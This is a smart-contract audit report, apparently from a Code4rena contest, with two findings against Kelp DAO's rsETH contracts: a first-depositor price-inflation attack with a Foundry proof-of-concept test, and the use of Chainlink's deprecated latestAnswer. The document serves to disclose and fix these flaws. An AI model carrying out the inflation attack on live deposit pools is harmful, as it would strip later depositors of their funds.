Kelp DAO | rsETH - ke1caM's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTOracle.sol#L52-L79 https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTDepositPool.sol#L119-L144

Vulnerability details

Summary

First user deposit followed by direct transfer to any contract that is used to calcualte the price of rsETH will ruin the price of rsETH.

Vulnerability details

After the protocol is deployed first user can call depositAsset with 1 wei of depositAmount.

In depositAsset we will get the amount of rsETH to be minted, calcualted from getRsETHAmountToMint in _mintRsETH.

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);.

function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) {
        (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

(rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);.

function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();.

Now let's take a look how rsETH price is calculated in LRTOracle at first deposit:

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

We can see that when the rsETH total supply is zero (first deposit, no rsETH minted yet). rsETH price is equal to 1 ether (1e18).

This is data from chainlink price feed for rETH / ETH at address 0x536218f9E9Eb48863970252233c8F271f554C2d0 copied from latestAnswer at 12.11.2023 14:45 GMT +1.

1091400000000000000 int256

We come back here and we can see the amount of rsETH minted from this calculation:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

amount = 1

lrtOracle.getAssetPrice(asset) = 1_091_400_000_000_000_000

lrtOracle.getRSETHPrice() = 1_000_000_000_000_000_000

Let's calculate the amount of rsETH to be minted using solidity. We will use remix for simplicty.

Copy and paste is in remix and see that it returns 1.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

contract Poc {

    uint256 amount = 1;
    uint256 assetPrice = 1_091_400_000_000_000_000;
    uint256 rsETHPrice = 1_000_000_000_000_000_000;

    function calculate() public view returns(uint256) {
        return (amount * assetPrice) / rsETHPrice;
    }

}

Calculations return 1 it means that 1 wei of rsETH will be minted.

Now malcious user can directly transfer as little as 1 gwei (1000000000) to LRTDepositPool address.

If next user would like to deposit let's say 10 ether to the pool he would receive 0 rsETH due to calculation in getRSETHPrice in LRTOracle.

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

Direct tranfer does not mint any rsETH so the price will be inflated.

Now the rsEthSupply is equal to 1, totalAssetAmt = 1000000000 + 1 (1000000000 direct transfer, 1 wei after deposit), so toalETHInPool = 1000000001 * assetER (which is in 18 decimals). This inflated rsETH price will round down to zero even for VERY big deposits.

PoC

contract LRTDepositPoolZeroMints is LRTDepositPoolTest {
    address public rETHAddress;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        rETHAddress = address(rETH);

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(this));
        vm.stopPrank();
    }

    function getAssetPrice(address) public pure returns (uint256) {
        return 1e18;
    }

    // mock getRSETHPrice
    function getRSETHPrice() public view returns (uint256) {
        uint256 rsETHSupply = rseth.totalSupply();
        if (rsETHSupply == 0) {
            return 1e18;
        }

        uint256 assetBalanceOfThePool = rETH.balanceOf(address(lrtDepositPool));

        return
            (assetBalanceOfThePool * getAssetPrice(rETHAddress)) / rsETHSupply;
    }

    function test_manipulateOracle() external {
        vm.startPrank(alice);

        // rETH used here because mock oracle returns 1e18 price anyway
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);

        // transfer directly 1 gwei to deposit pool
        rETH.transfer(address(lrtDepositPool), 1 * 10e9);

        vm.stopPrank();

        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);
        vm.stopPrank();

        uint256 bobRSETHBalance = rseth.balanceOf(address(bob));
        assertEq(bobRSETHBalance, 0);
    }
}

I set LRTDepositPoolZeroMints as oracle for simplicity and modified the getRSETHPrice function to better ilustrate the reality of the calculation in protocol. Also I used only the balance of the pool for simplicty because nodes balances are still zero.

Test passed so user received zero rsETH tokens for 10 ether deposit of rETH.

Impact

Loss of funds on deposit.

Tools used

VScode, Manual Review, Foundry

Recommendations

Change the rsETH price calculation method to make sure that direct transfers of tokens will not affect the price of rsETH.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/oracles/ChainlinkPriceOracle.sol#L37-L39 https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTOracle.sol#L45-L47 https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTOracle.sol#L68

Vulnerability details

Summary

According to Chainlink’s documentation, the latestAnswer function is deprecated. latestAnswer don't throw an error when there is no answer but returns 0 which can cause different price calculation or 0 rsETH to be minted after depositing assets.

Vulnerability details

User can call depositAsset in LRTDepositPool. This will get the amount of rsETH to be minted based on the oracle prices.

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) {
        (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

(rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

When latestAnswer returns 0 it will cause division by zero error in this scenario.

Impact

Use of deprecated chainlink function. From chainlink docs about latestAnswer THIS FUNCTION IS DEPRECATED. DO NOT USE THIS FUNCTION. https://docs.chain.link/data-feeds/api-reference#latestanswer link to documentation.

Tools used

VScode, Manual Review, Chainlink docs

Recommendations

It is recommended to use Chainlink’s latestRoundData() function to get the price instead. It is also recommended to add checks on the return data with proper revert messages if the price is stale or the round is incomplete.

From chainlink docs:

function latestRoundData() external view
    returns (
        uint80 roundId,
        int256 answer,
        uint256 startedAt,
        uint256 updatedAt,
        uint80 answeredInRound
    )

Assessed type

Invalid Validation